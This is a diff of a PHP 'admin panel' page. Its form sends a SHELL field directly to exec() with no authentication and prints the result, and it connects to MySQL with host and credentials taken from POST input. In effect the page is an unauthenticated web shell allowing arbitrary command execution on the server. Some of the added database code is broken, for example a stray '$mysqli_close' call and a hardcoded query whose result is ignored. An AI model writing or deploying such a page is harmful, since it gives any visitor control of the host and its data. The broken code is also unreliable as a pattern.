|
12 | 12 | <title>Admin Panel</title> |
13 | 13 | </head> |
14 | 14 | <body> |
15 | | -<p>Enter MYSQL query below</p> |
| 15 | +<p>Below is version v.000001 of admin panel by NerdOfCode</p> |
| 16 | +<p>You can execute shell commands seperately from Mysql commands</p> |
16 | 17 | <form action="" name="query" id="query" method="post"> |
17 | | - Shell: <input type="text" id="query_box" name="query_box"></input><br> |
18 | | - DBNAME: <input type="text" id="mysql_get" name="mysql_get"></input><br><br> |
19 | | - Query: <input type="text" id="myquery" name="myquery"></input><br><br> |
| 18 | + SHELL:   <input type="text" id="query_box" name="query_box" placeholder="Ex: whoami"></input><br><br> |
| 19 | + DBNAM: <input type="text" id="mysql_get" name="mysql_get" placeholder="ex: custom"></input><br><br> |
| 20 | + HOST :    <input type="text" id="host" name="host" placeholder="localhost"></input><br><br> |
| 21 | + USER :    <input type="text" id="user" name="user"></input><br><br> |
| 22 | + PASS :     <input type="password" id="pass" name="pass"></input></br><br> |
| 23 | + QUERY:   <input type="text" id="myquery" name="myquery" placeholder="SELECT * FROM test;"></input><br><br> |
20 | 24 | <button type="Submit" value="Submit">Submit</button> |
21 | 25 | </form> |
22 | 26 | </body> |
23 | 27 |
|
24 | 28 | <?php |
| 29 | +$db=$_POST['mysql_get'];//Database |
| 30 | +$user=$_POST['user']; |
| 31 | +$pass=$_POST['pass']; |
| 32 | +$query=$_POST['myquery'];//Commands |
| 33 | +$host=$_POST['host']; |
| 34 | + |
| 35 | +$mysqli = mysqli_connect($host,$user,$pass,$db) or die("Unable to connect to MYSQL"); |
| 36 | +mysqli_query($mysqli,"SELECT * FROM users;"); |
| 37 | +$mysqli_close($db); |
25 | 38 |
|
26 | | -$cwd=getcwd(); |
27 | | -echo "Current directory: $cwd"; |
28 | 39 |
|
29 | 40 |
|
| 41 | +$cwd=getcwd(); |
| 42 | +echo "<br>Current directory: $cwd<br>"; |
30 | 43 | $shell = $_POST['query_box']; |
31 | 44 | $run = exec("$shell"); |
32 | | -echo $run; |
| 45 | +echo "<br><b>Output: $run</b><br>"; |
33 | 46 | ?> |
34 | 47 |
|
35 | 48 |
|
|
0 commit comments